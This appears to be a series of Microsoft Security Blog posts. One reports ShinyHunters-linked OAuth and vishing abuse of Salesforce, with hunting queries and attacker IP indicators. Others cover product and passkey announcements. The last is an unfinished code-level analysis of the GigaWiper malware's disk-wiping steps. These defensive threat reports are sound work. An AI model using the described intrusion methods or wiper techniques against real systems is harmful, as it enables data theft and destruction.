Microsoft Malware Protection Center

In this article

1. Upstream: See the campaign before it reaches you
   1. Microsoft Defender Threat Intelligence Now Integrated into Defender
   2. In your environment: Follow the threat everywhere it moves
2. See it live at Black Hat USA

Security teams have never had more visibility, yet rarely have they felt more uncertain. Signal pours in from endpoints, identities, cloud workloads, and a sprawling mix of third-party tools. Dashboards are full, alerts keep coming, but the hardest question of the day remains unanswered: of everything happening right now, what actually matters to us, and what do we do about it?

That space between knowing a threat exists and acting on it is the intelligence-to-action gap, and it’s where most breaches are won or lost. It doesn’t close with another feed or another dashboard. It closes with expertise: seasoned defenders who know your environment, interpret what global signal means for your risk, and stay with you from the first indicator to the final response.

Today we’re announcing a new service, Microsoft Defender Experts Threat Intelligence, and we are expanding Microsoft Defender Experts MDR to include new third-party and multi-cloud coverage. Together, these human-led offerings are designed to close the intelligence-to-action gap at the two moments that decide the outcome: before a campaign reaches you, and as it moves through your environment.

Upstream: See the campaign before it reaches you

The earlier you see a campaign forming, the more options you have, and the cheaper every decision becomes. Yet most threat intelligence still arrives as raw feeds or static reports: high in volume, low in context, and disconnected from what’s exposed in your estate. Teams end up with more to read and no more clarity on what to do about it.

Microsoft Defender Experts Threat Intelligence is a new, expert-delivered service that closes that distance. Built on Microsoft’s visibility across endpoints, identity, cloud, and evolving attacker activity, it gives your team periodic, curated insight into the threats most likely to target you. Designated Microsoft experts interpret the global landscape through the lens of your industry, geography, and environment, then translate it into clear, prioritized guidance your team can act on.

As campaigns evolve, experts continuously refine that guidance with newly observed infrastructure, tactics, and targeting patterns, helping your team adjust hunting, hardening, and response activities. The insight is tailored for both leadership and defenders, providing executive-ready context alongside technical recommendations so the entire organization can act from a shared understanding of the threat landscape. The goal is simple: help you reduce risk before an attack reaches your environment, not explain what happened after the fact.

In practice, your team receives:

• Early-warning alerts on emerging campaigns relevant to you
• Campaign-evolution updates as activity unfolds
• Contextualized intelligence tied to your risk profile
• Recurring briefings from your designated expert, rotating across geopolitical, industry, and global perspectives, on a scheduled basis

Microsoft Defender Threat Intelligence Now Integrated into Defender

While this new expert-delivered service helps customers turn threat intelligence into action through direct engagement with Microsoft analysts, we’re also continuing to bring that same type of insight closer to defenders’ day-to-day workflows. Today we’re announcing that Microsoft Defender Threat Intelligence (MDTI) capabilities are now fully converged into the Defender portal. Intelligence is available real-time across detection, investigation, response, hunting, and automation, reducing context switching and helping teams move more quickly from signal to action within a unified SecOps experience.

In your environment: Follow the threat everywhere it moves

Modern attacks rarely stay in one place. They cross from email to endpoint to identity to cloud, and increasingly traverse disparate security tools. Even when organizations have visibility into those environments, connecting multi-vendor and multi-domain signals into a coherent attack story remains a challenge.

That’s the gap we’re closing on the response side: Microsoft Defender Experts MDR (formerly Microsoft Defender Experts for XDR) is expanding with new third-party and multi-cloud coverage powered by Microsoft Sentinel. Defender Experts MDR provides a fully managed detection and response service that reduces noise, adds expert context, and drives action. With support for leading non-Microsoft sources across cloud, identity, email, network, and endpoint environments, our experts can follow attacks wherever they move, not just where Microsoft products operate.

The service is backed by Microsoft’s vast threat intelligence, and combines expert-authored detections and analytics, investigation and response automation, and ongoing operational guidance to help customers strengthen security outcomes across their environment.

In practice, customers gain:

• 24/7 monitoring and investigation by Microsoft experts who distil high‑volume telemetry into high‑confidence, prioritized incidents that dramatically reduce analyst fatigue and accelerate response.
• Cross-platform threat analysis that correlates signals across Microsoft and non-Microsoft environments to deliver a single incident narrative with actionable, vendor‑aware guidance.
• Ongoing recommendations to optimize security operations, from detection tuning and data integration to content management in Sentinel.
• Business-aligned summaries of top risks, posture gaps, and recommended improvements across the security estate.

This expanded coverage is available through Microsoft Defender Experts MDR Plan 2. Everything available today as Defender Experts for XDR carries forward unchanged as Microsoft Defender Experts MDR Plan 1, while Plan 2 extends that same expert-led triage, investigation, and response beyond Microsoft’s own estate.

See it live at Black Hat USA

Every one of today’s announcements aims at the same outcome: shrinking the distance between a signal arriving and a decision being made. That’s the measure that matters in the end—not alerts triaged, but decisions made faster and with more confidence.

Come see it at Black Hat. Join our session Mind the Gap: Turning Threat Intelligence into Decisive Action with Expert-Led Defense, where Wes Malaby, General Manager of Customer Success at Microsoft Security, will demonstrate how expert-led intelligence and defense can change the trajectory of a threat campaign from the earliest warning signs through response and remediation. After the session, stop by the Microsoft Security booth to connect with our experts and learn how these services fit into your broader security strategy, or attend our reception on August 5 for a more conversational environment.

The post Turning threat intelligence into decisive action with Defender Experts appeared first on Microsoft Security Blog.

In this article

1. Attack chain overview
2. Improving visibility into Salesforce OAuth abuse
3. Mitigation and protection guidance
4. Learn more

In a series of campaigns observed between mid-2025 and mid-2026, Microsoft identified threat actor activity with overlapping tradecraft commonly associated with ShinyHunters, including voice phishing (vishing), supply chain compromise, and misconfigured guest access to target customer SaaS-based applications such as Salesforce instances. The threat actors abused trusted OAuth relationships for unauthorized access, data exfiltration, and persistence.

Three primary intrusion paths were observed including vishing techniques targeting OAuth consent, supply chain compromise through trusted workflows and integrations such as Salesloft and Gainsight, and exploitation of misconfigured guest access. Abuse of these access paths led to inherited user and application privileges, allowing successful enumeration and querying of customer relationship management (CRM) records while evading conventional authentication detections. These intrusion paths often led to persistent access and exfiltration of data at scale. This tradecraft highlights how a single entry point can rapidly expand to greater enterprise impacts.

Microsoft observed activity associated with these techniques in many tenants from various industries such as retail, education and manufacturing. These findings reinforce the importance of monitoring OAuth-connected applications, validating third-party integrations, reviewing guest access configurations, and enabling Salesforce event monitoring. Leveraging this data, Microsoft consulted with Salesforce to improve granularity in telemetry for Defender for Cloud Apps with near-real-time detection, offering connected application attribution and expanded application permission insights. This activity was not the result of a vulnerability inherent to Salesforce. Rather, the threat actors abused trusted OAuth relationships for unauthorized access, data exfiltration, and persistence.

Attack chain overview

Threat actor campaigns targeting Salesforce customers and using tradecraft associated with ShinyHunters pose a high-impact risk to sensitive data and downstream SaaS ecosystems. These campaigns abuse OAuth trust relationships to operate within pre-existing, legitimate workflows.

Figure 1. Commonly observed attack paths for SaaS applications.

Observed activity can be grouped into three primary intrusion paths:

Voice‑phishing-driven OAuth consent abuse

In campaigns beginning in mid-2025, the threat actors conducted vishing attacks impersonating IT support personnel. Threat actors socially engineered employees into authorizing attacker-controlled connected apps within their Salesforce tenant. In several confirmed cases, threat actors guided users through the OAuth consent workflow to grant access to a malicious application disguised as a legitimate Salesforce Data Loader tool. After users granted consent, these highly privileged OAuth applications enabled threat actors to perform API calls on behalf of the victim user, facilitating:

• Enumeration of Salesforce instances belonging to targeted organizations
• Persistent access to Salesforce CRM data
• Possible lateral movement into other SaaS platforms through discovered credentials

This intrusion path exploits the OAuth authorization flow of trusted SaaS services rather than relying on malware or credential replay. Threat actors exfiltrate data through sanctioned application access inherited from user privileges.

SaaS supply‑chain compromise targeting trusted integrations

Following initial access campaigns, threat actors  escalated into supply‑chain-driven attacks targeting third‑party SaaS vendors offering popular solutions that integrate with Salesforce, often using OAuth tokens. In August 2025, compromised Salesloft Drift credentials enabled attackers to obtain connection secrets used by downstream SaaS applications, enabling the use of OAuth tokens in multiple customer Salesforce instances.

A subsequent campaign in November 2025 targeted Gainsight-published applications integrated with Salesforce, allowing attackers to leverage trusted external connections to maintain persistent API access in multiple Salesforce customer instances. These activities often appeared indistinguishable from legitimate integration behavior. Threat actors performed discovery, bulk data queries, and mass exfiltration of sensitive CRM records, including accounts, contacts, and service case data, without generating traditional sign-in anomalies.
More recently, in June 2026, the market intelligence platform Klue experienced an incident where a threat actor, Storm-3138, gained access to its system.  Credentials used to access Salesforce customer instances were used in the same fashion, to discover, query, and exfiltrate data.

Guest access used for exfiltration

Over recent months, Microsoft observed an increase in suspicious guest-user activity targeting Salesforce Aura endpoints across multiple organizations. In these incidents, threat actors leveraged unauthenticated access to Aura framework functionality and used GraphQL-based Aura requests to systematically query and retrieve data. While the activity did not exploit a software vulnerability, it took advantage of misconfigured guest-user permissions to gain unauthorized access to data. By chaining Aura requests and leveraging GraphQL queries, the actors were able to circumvent standard record-retrieval limitations and extract significantly larger volumes of data than would typically be accessible to guest users. All three intrusion paths relied on inheriting trusted application or user privileges, making malicious activity difficult to distinguish from normal operations. The resulting quiet persistence and large-scale data access highlight the need for stronger detection, visibility, and governance of OAuth-connected applications and guest user accounts.

Improving visibility into Salesforce OAuth abuse

For customers using Salesforce Shield: Event Monitoring, the upgraded Microsoft Defender for Cloud Apps Salesforce connector onboards the Real-Time Event Monitoring (RTEM) framework, enabling faster detection and investigation of Salesforce-based attacks.

Investigations into these campaigns exposed a recurring challenge for security teams: malicious activity often appeared indistinguishable from legitimate Salesforce usage because threat actors operated through trusted identities, approved OAuth applications, and authorized integrations. Traditional authentication-focused detections frequently provided limited visibility into the resulting application activity.

To improve investigation and detection of these scenarios, Microsoft expanded Salesforce visibility in Defender for Cloud Apps through additional event telemetry, connected application attribution, and enhanced application permissions insights. These capabilities help security teams identify suspicious OAuth activity, investigate potentially compromised integrations, and better understand how access was obtained and used within customer Salesforce instances.

Key capabilities include:

• Near-real-time visibility into Salesforce security and activity events.
• Connected application attribution, including application identity and granted OAuth scopes.
• Expanded identity, session, and API activity context to support investigations.
• Improved correlation within Microsoft Defender to help identify suspicious activity spanning identities, applications, and SaaS environments.

Together with Salesforce Shield: Event Monitoring, these capabilities help security teams investigate suspicious OAuth activity, validate the legitimacy of connected applications, and better understand the potential impact of a compromise.

New posture and governance capabilities for connected OAuth apps

While improved detection is critical, recent incidents have also highlighted the need for stronger preventive controls and ongoing governance of OAuth-connected applications. To address this, Microsoft Defender introduces new posture capabilities for connected and external client apps in Salesforce. Security teams can gain visibility into each OAuth app and its non-human identity, prioritize risk, and reduce the attack surface.

Deep visibility into app permissions and access

Microsoft Defender provides comprehensive visibility into all Salesforce-integrated connected and external client apps, including granted OAuth scopes and privileges.

Figure 2. Complete permission visibility for Salesforce connected apps and external client apps. Highly privileged apps

Security teams often struggle to identify applications with powerful administrative or sensitive permissions. The highly privileged apps insight highlights applications that have been granted elevated scopes, enabling quick identification of apps that may pose significant risk.

Additionally, security teams can use permission-based filters to identify apps with specific high-risk scopes and validate whether such access is justified.

Figure 3. Identity inventory to identify highly privileged Salesforce apps. Unused apps

Organizations often create applications for temporary or one-time use, but those applications are rarely removed afterward. These unused apps continue to retain permissions, creating unnecessary exposure. With the recent changes, Defender now allows security teams to identify applications that have been inactive for extended periods (for example, 90 days or more), making it easy to review and revoke access where appropriate to reduce the attack surface.

Figure 4. Identity inventory to discover unused Salesforce apps. Risk-based prioritization of connected apps

To further streamline investigation and response, Defender introduces a comprehensive risk scoring model for connected applications. Each application is assigned a numerical risk score [0-100] based on multiple risk indicators, such as usage patterns, permission sensitivity, and behavioral signals. This allows security teams to prioritize efforts effectively and focus on applications that require immediate attention. Security teams can create custom policies based on risk thresholds to trigger alerts, actions, and notifications.

Figure 5. Use actionable insights to identify apps exceeding a defined risk threshold. Risk score investigation

To further investigate the specific Non-Human identity risk details, the factors contributing to the risk score are available in Non-Human Identities Risk score tab.

Figure 6. Detailed risk insights explaining factors contributing to the risk score. Mitigation and protection guidance

Microsoft recommends the following mitigations to reduce the impact of this threat. Check the recommendations card for the deployment status of monitored mitigations.  

• Microsoft Defender for Cloud Apps customers can connect their Salesforce instance to get improved visibility and threat detection capabilities.
• Implement best practices as recommended by Salesforce.
• Secure your Experience Cloud Guest User access
• Familiarize yourself with and proactively monitor Salesforce event logs.

Microsoft Defender detections

Microsoft Defender customers can refer to the list of applicable detections including new detections powered by the upgraded Microsoft Defender for Cloud Apps Salesforce connector. Microsoft Defender coordinates detection, prevention, investigation, and response for endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog.

Customers with provisioned access can also use Microsoft Security Copilot in Microsoft Defender to investigate and respond to incidents, hunt for threats, and protect their organization with relevant threat intelligence.

Tactic Observed activity Microsoft Defender coverage Initial AccessA user’s Salesforce session was hijacked and usedSalesforce detected a possibly hijacked user sessionCredential AccessA user was the target of credential stuffing activitySalesforce detected a successful credential stuffing attackLateral MovementA user with a very high risk score is signing into Salesforce via SSOSalesforce SSO sign-in by high-risk userCollection / ExfiltrationAPI-heavy access, report export, and scraping patterns; potential multi-SaaS expansion depending on victim footprint.– Possible Salesforce scraping activity
– Salesforce detected a user performing anomalous API activity
– Salesforce detected a user performing anomalous report activityCollection / ExfiltrationAnomalous behavior from Salesforce Connected Apps– Salesforce Connected App activity from a new IP address
– Salesforce Connected App activity involving new
– Salesforce entity Salesforce Connected App activity involving new endpoint(s)Collection / ExfiltrationGuest user activity associated with the AuraInspector frameworkSuspicious Salesforce Aura ActivityCollection / ExfiltrationAnomalous behavior from a guest userSalesforce detected a guest user performing anomalous activity Threat intelligence reports 

Microsoft customers can use the following reports in Microsoft products to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer Salesforce instances.

• OSINT Profile: ShinyHunters Calling: Financially Motivated Data Extortion Group Targeting Enterprise Cloud Applications

Advanced hunting

NOTE: The sample queries let you search one week of events. To inspect events and hunt for threat actor-related indicators over a longer period, go to the Advanced Hunting page > Query tab, and use the calendar dropdown to set the time range to Last 30 days (the maximum for raw data).

Hunt for Salesforce connected-app activity from suspicious infrastructure

CloudAppEvents | where Application == "Salesforce" | where ActionType in ("ApiTotalUsage", "API Event") | extend ConnectedAppId = tostring( coalesce( RawEventData.CONNECTED_APP_ID, // from ApiTotalUsage RawEventData.ConnectedAppId // from API Event ) ) | where isnotempty(ConnectedAppId) | where array_length(UncommonForUser) > 0 // at least 1 attribute is flagged as uncommon

Hunt for API activity associated with connected apps and relevant user ids

CloudAppEvents | where Application == "Salesforce" | where ActionType in ("ApiTotalUsage", "API Event") | extend SalesforceUserId=coalesce(tostring(RawEventData.USER_ID), tostring(RawEventData.UserId)) | extend ConnectedAppName=tostring(RawEventData.CONNECTED_APP_NAME) // Connected App Name is not available on the ApiEvent event | summarize count() by AccountObjectId, AccountId, AccountDisplayName, SalesforceUserId, IPAddress, UserAgent, ConnectedAppName

Hunt for anomalous report export / large data access

CloudAppEvents | where Application == "Salesforce" | where ActionType == "ReportExport" | extend SalesforceUserId = tostring(RawEventData.USER_ID) | summarize Events=count() by AccountObjectId, AccountId, AccountName, SalesforceUserId, IPAddress, UserAgent

Pivot from a suspicious connected app (name/id) to impacted users and actions

CloudAppEvents | where Application == "Salesforce" | where RawEventData has "" | project Timestamp, AccountId, AccountDisplayName, ActionType, IPAddress, UserAgent, RawEventData | order by Timestamp desc

Audit queries to verify what objects users are accessing

CloudAppEvents | where Application == "Salesforce" | where ActionType == "UniqueQuery" | extend QueryText = tostring(RawEventData.QUERY_IDENTIFIER), // Full query text QueryObject = extract(@"(?i)\bfrom\s+([^\s]+)", 1, tostring(RawEventData.QUERY_IDENTIFIER)), // Extract just the target object SalesforceUserId = tostring(RawEventData.USER_ID) | where QueryText != "SOQL" | project Timestamp, AccountDisplayName, SalesforceUserId, QueryObject, QueryText

Hunt for users with very high Defender risk score signing into Salesforce

let VeryRiskyUsers = IdentityInfo | where DefenderRiskScoreNumber >= 90 | distinct AccountObjectId CloudAppEvents | where Application == "Salesforce" | where ActionType has "sso" or ActionType has "saml" | where AccountObjectId in (VeryRiskyUsers) | project Timestamp, AccountObjectId, AccountDisplayName, ActionType, UserAgent | order by Timestamp desc Indicators of compromise (IOC) Indicator  Type  Description  138.226.246.94 IP address Used by the Klue integration to call Salesforce API to perform CRM queries on June 11. Previously disclosed by Klue in their notification about the breach.212.86.125.24 IP address 213.111.148.90 IP address 94.154.32.160 IP address 103.75.11.78IP addressUsed to target the Aura framework with guest access from June 19 to 22. These IP addresses were not previously published and were discovered by Microsoft as part of a novel campaign.103.75.11.110IP address MITRE ATT&CK techniques observed

Initial Access

• T1566.004 Phishing: Voice Phishing: Impersonating IT support to get victims to grant access.
• T1528 Steal Application Access Token: Using stolen OAuth tokens from Salesloft and Gainsight.

Persistence

• T1671 Cloud Application Integration: Leveraging Connected Apps for access to a customer Salesforce environment.

Collection

• T1213.004 Data from Information Repositories: Customer Relationship Management Software: Stealing data from a customer Salesforce environment.

Exfiltration

• T1567 Exfiltration Over Web Service: Usage of the fake Data Loader application to steal data.

This research is provided by Microsoft Defender Security Research, Shruti Ranjit, Doug Cranston, Anand Deshpande, Ronen Rafaeli, and with contributions from members of Microsoft Threat Intelligence.

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

Review our documentation to learn more about our real-time protection capabilities and see how to enable them within your organization.   

• Microsoft 365 Copilot AI security documentation 
• How Microsoft discovers and mitigates evolving attacks against AI guardrails 
• Learn more about securing Copilot Studio agents with Microsoft Defender  
• Evaluate your AI readiness with our latest Zero Trust for AI workshop.

The post Defending SaaS-based applications against ShinyHunters OAuth abuse appeared first on Microsoft Security Blog.

As identity attacks grow more sophisticated in the AI era, organizations need stronger authentication methods that protect users from phishing, credential theft, and social engineering. To address these evolving threats, Microsoft Entra ID is updating its authentication experience by making passkeys the default phishing-resistant authentication method, helping customers reduce reliance on phishable methods such as SMS and voice.

Beginning September 1, 2026, Microsoft will begin rolling out passkeys as the default authentication experience in Microsoft Entra ID. As the rollout reaches each organization, users enabled for SMS or voice authentication will automatically be enabled for passkeys, and the next time they perform multifactor authentication, they’ll be prompted to register a passkey.

Following this transition, on February 1, 2027, Microsoft will retire Microsoft-provided telecom delivery for SMS and voice authentication and will no longer offer SMS and voice as a native Microsoft Entra capability. Organizations that still require SMS or voice authentication methods will have the option to choose one of our telecom partners through the Microsoft Security Store. Customers will be responsible for any associated telecom-related costs charged by the telecom partners.

We strongly recommend moving users to passkeys or another phishing-resistant authentication method as soon as possible.

Explore Microsoft Entra solutions Why stronger authentication matters in the AI era

Authentication methods that use SMS or voice rely on shared secrets or channels that attackers increasingly intercept, phish, or manipulate. Passkeys use public-key cryptography rather than shared secrets, making them phishing-resistant by design. They also provide a faster, simpler sign-in experience for users.

The case for moving beyond SMS and voice is no longer just that attackers intercept or socially engineer these methods. The threat environment has changed in speed, scale, and sophistication. Microsoft Threat Intelligence has observed AI-enabled phishing campaigns reaching click-through rates as high as 54%, compared with roughly 12% for more traditional campaigns, making stolen passwords and phishable second factors an urgent risk.1 At the same time, tactics such as SIM swapping and multifactor authentication bypass have become more accessible and repeatable.

An AI-powered cyberattack can use a compromised identity to automate discovery, privilege escalation, and lateral movement much faster than a human attacker working manually. This is why phishing-resistant authentication methods are so important.

By making passkeys the default authentication experience, organizations reduce reliance on phishable authentication methods and strengthen protection against credential theft and phishing.

Still need SMS or voice? Select a telecom provider in Microsoft Security Store 

Today, Microsoft provides the telecom delivery behind SMS and voice authentication natively within Entra ID. As part of this transition, we’ll step back from providing that native telecom delivery to encourage phishing-resistant methods as the standard for everyone.

For most organizations, the recommended path is simple: move users to passkeys at no additional cost.  

If you have a regulatory, technical, or business requirement to keep SMS or voice, you’ll be able to select, configure, and manage a third-party telecom provider through the Microsoft Security Store—a partner marketplace where you can contract directly with supported carriers. 

On September 18, 2026, we’ll share information on supported providers, deployment guidance, and technical documentation with pricing and commercial terms available through the Microsoft Security Store.

How to prepare

Start planning your transition now so you can select the deployment approach that best fits your organization and ensure your users are prepared for upcoming changes to their sign-in experience.

1. Identify users who still use SMS or voice. Review your authentication method policy and identify which users or groups are enabled for SMS or voice authentication.
2. Plan your passkey rollout. Enable passkeys and select the types that best fit your users’ devices and workflows. Microsoft Entra ID supports:
   • Synced passkeys, such as passkeys stored in platform credential managers like iCloud Keychain and Google Password Manager.
   • Device-bound passkeys, such as Microsoft Authenticator passkeys, Entra passkey on Windows, and FIDO2 security keys.
3. Use registration campaign to drive adoption. Microsoft Entra ID can help organizations move users at scale by prompting them to register a passkey during multifactor authentication sign-in.
4. Prepare user communications. Tell affected users what’s changing, when they’ll see a passkey registration prompt, and how to complete registration on their device.

For step-by-step guidance on planning, deploying, and managing passkeys, see our Microsoft Learn documentation and passkey deployment guide. 

• aka.ms/passkeybydefault
• Get started with a phishing-resistant passwordless authentication deployment in Microsoft Entra ID

If regulated, technical, or operational scenarios still require SMS or voice:

1. Identify and document affected user segments.
2. Starting October 30, 2026, select and configure a supported telecom provider through the Microsoft Security Store.
3. Test your configuration with a pilot group before any broad rollout.

Timeline DateMilestoneSeptember 1, 2026 All users enabled for SMS or voice are auto-enabled and nudged for passkey registration upon multifactor authentication sign-in.

Use the passkey deployment guide to prepare your environment for passkey use. Notify affected users about the upcoming change. Ensure every user has a phishing-resistant authentication method, such as a passkey, Entra passkeys on Windows, or a FIDO2 security key.September 18, 2026 Pricing, commercial terms, and a list of supported telecom providers will be shared.

If you plan to continue using SMS or voice authentication, review the available provider options and identify affected users. October 30, 2026 Admins may select and configure a supported telecom provider through the Microsoft Security Store. February 1, 2027 Microsoft-provided SMS and voice authentication ends.  

If SMS or voice remains necessary for specific users, configure a supported telecom provider before this date. After February 1, 2027 Users who use SMS or voice for multifactor authentication will be required to register a passkey before they can sign in. Automatic prompts to register a passkey will be enforced for all users in all tenants. There will be no opt-out option.

Note: The dates outlined in this post apply to Microsoft Entra ID in the public cloud only. Support for other cloud environments will follow on a separate timeline, with additional guidance and dates to be announced in advance.

SMS and voice have served their purpose well, bringing multifactor authentication to billions of users who otherwise would have had none. But the threat environment has evolved beyond their capabilities, and we need to evolve with it.

We’re making passkeys the default in Entra ID because they work better for users and worse for cyberattackers. We’re trying to make this transition as predictable as possible with clear dates, fallback options during migration, and recovery that doesn’t depend on phishable credentials anymore.

Learn more at aka.ms/passkeybydefault 

Learn more about Microsoft Entra identity and access solutions

To learn more about Microsoft Security solutions, visit our website. Bookmark the Security blog to keep up with our expert coverage on security matters. Also, follow us on LinkedIn (Microsoft Security) and X (@MSFTSecurity) for the latest news and updates on cybersecurity.

1Microsoft Digital Defense Report 2025.

The post Microsoft Entra ID security updates: Passkeys are the default authentication method in Entra ID appeared first on Microsoft Security Blog.

Security is never finished. That conviction is where the Secure Future Initiative (SFI) started two years ago and continues to guide us today. AI is reshaping cybersecurity. Cyberattackers can discover vulnerabilities, chain attack paths, and scale exploitation faster than manual approaches allow. Defenders can use the same advances to identify risk, strengthen protections, and accelerate response. As the threat landscape evolves, security must evolve with it.

This latest SFI progress report shows how Microsoft is adapting to that reality: strengthening security foundations for an AI-accelerated cyberthreat landscape, applying AI to improve security outcomes at scale, and preparing for future challenges such as scalable quantum computing.

Read the full July 2026 SFI progress report

This report organizes our progress into three outcome-driven themes—secure foundations, proactive defense, and future-ready security—and shares lessons learned, practical guidance, and deeper insights across the culture, governance, principles, and engineering pillars that underpin security at Microsoft.

Secure foundations

The most consequential security failures rarely come from a single missing control. They come from environments where identity gaps, unmanaged assets, and inconsistent configurations sit side by side, creating composite attack paths that determined threat actors can chain together. SFI addresses this systemically, strengthening security across our environment. The results show the progress:

• Phishing-resistant multifactor authentication now protects 99.97% of user/device pairs at Microsoft.
• More than 732,000 resources have had public access revoked, with network isolation scaling across 1 million resources.
• 1.4 million unused apps were decommissioned and cross-boundary credential isolation reached 98.7%.
• Engineering defaults now prevent 83% of pipelines from accessing unapproved package endpoints.

These controls form reinforcing layers: identity feeds access governance, access governance feeds segmentation, segmentation contains blast radius, and engineering defaults reduce what enters production in the first place. One of the lessons we have learned is that foundations are durable only when they’re continuously validated, not periodically audited.

Proactive defense

Secure foundations reduce the attack surface. Proactive defense builds on that foundation to find and fix weaknesses quickly. Traditional practices like code review and penetration testing remain essential. The difference now is that frontier AI can discover vulnerabilities and chain exploit paths faster than manual review can keep up. That’s a threat and, when used well, an advantage. We’ve leaned into that advantage to find real risk earlier and close it before a cyberattacker can act.

• We built a multi-agent AI system that delivers proactive assessment of a cloud service’s source code, identity configurations, network topology, and runtime state to surface composite vulnerabilities that a single-layer review could not catch. More than 90% of findings confirmed by our security engineers, enabling proactive actions to improve security posture.
• This system builds on other tools in our security portfolio—such as the Microsoft Security multi-model agentic scanning system (codename MDASH), which scans source code to identify, validate, and prioritize vulnerabilities at scale—and adds configuration, identity, network, and runtime context to comprehensively assess the service.
• More than 100 new detections were added this year (more than 350 total), shifting from signature-based to behavior- and baseline-driven detection.
• More than 550,000 critical and high-risk open-source vulnerabilities were remediated, with about 3 million container vulnerabilities patched per month through automation.

Future-ready security

Some risks have not fully arrived yet, but waiting for them is not an option. The most urgent example is the transition to post-quantum cryptography. The threat is already here in the form of “harvest now, decrypt later”: data encrypted today could be captured and decrypted once quantum capability matures.

• We are accelerating the Microsoft Quantum Safe Program (QSP) timeline, with the goal of transitioning to post-quantum cryptography (PQC) in critical products and services by 2029.          
• PQC is now an SFI-measured engineering requirement, with workstreams advancing across network traffic, data-at-rest protection, and trust chain modernization.
• Quantum-safe algorithms (ML-KEM, ML-DSA) are available today across major platforms.
• Read more in the recent blog: Accelerating quantum-safe readiness.

Governance, culture, and principles

Foundational progress like this is only possible because of the people committed to making it possible. Security is a core responsibility for every employee at Microsoft: mandatory Trust Code training was completed by more than 99% of full-time employees. Governance is what makes it scale, with accountability driven through our Deputy Chief Information Security Officer (CISO) structure and a centralized risk register. And our principles—secure by design, secure by default, secure in operations—are what turn intent into product, like Microsoft 365 Baseline Security Mode. Tools alone don’t create durable security; culture, accountability, and secure defaults do.

What you can do today

Throughout the report, we share actionable guidance for organizations at any stage of their security journey. A few starting points:

• Enforce phishing-resistant multifactor authentication and eliminate legacy authentication protocols.
• Inventory every tenant and classify it. Apply secure-by-default provisioning with drift detection.
• Evaluate how identity, code, configuration, and network relationships interact in production. Prioritize composite attack paths over isolated findings.
• Inventory your cryptographic dependencies now and establish transition plans for post-quantum readiness.
• Enable Baseline Security Mode in Microsoft 365 for secure-by-default configuration at no additional cost.

Read the full SFI report, including detailed pillar-level progress and additional customer guidance.

Each hardening action changes the cyberattacker’s approach. The compounding effect of SFI is that attackers face a shrinking set of viable paths, while defenders gain better telemetry, stronger defaults, and sharper prioritization for the paths that remain.

Security is a team sport. We are grateful for the partnership of our customers, security researchers, and the broader industry as we work together to make the world a safer place for all.

Read the July 2026 SFI progress report Learn more

• Defending the cloud at AI speed.
• Beyond the benchmark: Advancing security at AI speed.

To learn more about Microsoft Security solutions, visit our website. Bookmark the Security blog to keep up with our expert coverage on security matters. Also, follow us on LinkedIn (Microsoft Security) and X (@MSFTSecurity) for the latest news and updates on cybersecurity.

The post Securing our future: July 2026 progress report on Microsoft’s Secure Future Initiative appeared first on Microsoft Security Blog.

In this article

1. A wiper inside a backdoor
2. Backdoor capabilities
3. How GigaWiper was assembled
4. Conclusion: Multiple destructive capabilities consolidated into a single implant
5. Defending against destructive threats
6. Microsoft Defender detections
7. Indicators of compromise

In October 2025, Microsoft Threat Intelligence identified destructive wiping activity and uncovered a sophisticated Go programming language (Golang)-based backdoor we now track as GigaWiper, a versatile implant that combines robust command-and-control (C2) capabilities with multiple destructive payloads, including disk wiping, fake ransomware, and system-level sabotage.

GigaWiper is particularly notable for its makeup. It’s not a single, purpose-built tool, but an amalgamation of separate malware families that were folded into GigaWiper as on-demand backdoor commands, giving threat actors the flexibility to choose their mode of destruction:

• A standalone wiper that operates at the physical disk level, overwriting raw disk content and removing partition metadata.
• A destructive command that derives from Crucio ransomware and encrypts files with randomly generated keys that are never saved, making decryption impossible.
• A wiping command that reimplements the logic of FlockWiper, a C-based malware reimplemented in Golang with additional multi-pass secure wiping.

The consolidation of multiple destructive capabilities into a modular backdoor reflects a notable shift in wiper malware, which are typically designed purely to destroy rather than to extort and carry real-world consequences. GigaWiper exemplifies threat actors investing in operational efficiency, merging standalone tools into unified platforms that reduce their deployment footprint while expanding their destructive capabilities.

In this blog, we provide a code-level analysis of GigaWiper’s architecture. We’re sharing these findings, along with Microsoft Defender detections and mitigation recommendations, to enable organizations and the security community to investigate and defend against GigaWiper and similar destructive threats.

A wiper inside a backdoor

Beginning in October 2025, Microsoft Threat Intelligence started observing compromised environments being wiped with destructive tooling. Looking closely at the intrusions, we observed two types of GigaWiper samples:

• Standalone wiper binaries
• Larger binaries with robust backdoor functionality

Both sample types are unstripped portable executable (PE) files written in Golang. Comparing the two samples showed that the standalone wiper’s code is fully embedded inside the backdoor as one of the commands.

The standalone wiper binary

The standalone wiper is an unstripped PE written in Golang. Instead of deleting individual files, it wipes at the physical disk level. It identifies physical drives, determines which drive contains the Windows installation, removes partition references from other drives, overwrites raw disk content, and then reboots the system.

The wiper starts by enumerating physical disks through Windows Management Instrumentation (WMI) using the following query, giving it the device identifiers and disk metadata it needs before deciding how to handle each drive:

Figure 1. Query for enumerating physical disks through WMI

The malware then calls main.FindWindowsDrive to determine which physical disk contains the Windows installation (for example, \\.\PHYSICALDRIVE0). With that drive identified, it iterates the remaining disk list and calls main.unallocateDrive on each non-Windows drive to remove their partition references. This is achieved with DeviceIoControl and IOCTL_DISK_CREATE_DISK, which reinitializes the disk’s partitioning metadata and effectively wipes the existing partition table entries. If successful, the malware prints to the console “Partitions removed successfully.”

Next, it proceeds to wipe each drive. It calls main.writeRandToDrive to overwrite each drive in chunks of size 0xA00000. The first byte of each buffer is randomized with crypto/rand.Read, while the rest is filled with zeros. If random generation fails, it uses the byte value “1” instead. This pattern might be intended to avoid detections or mitigations that look for conspicuous full-disk zeroing behavior.

After it finishes wiping the drives, the malware forces an immediate reboot by invoking Windows shutdown functionality with restart and zero-delay options.

The wiper binary as a backdoor command

Next, we analyzed the larger backdoor. The same wiper functionality is also present as one component of the backdoor. The code flow and function names in the larger backdoor are identical to those of the standalone wiper, with the wiper’s main.main routine implemented in the backdoor as the rabbit_tools_tool_wipe_main.WipeMain function.

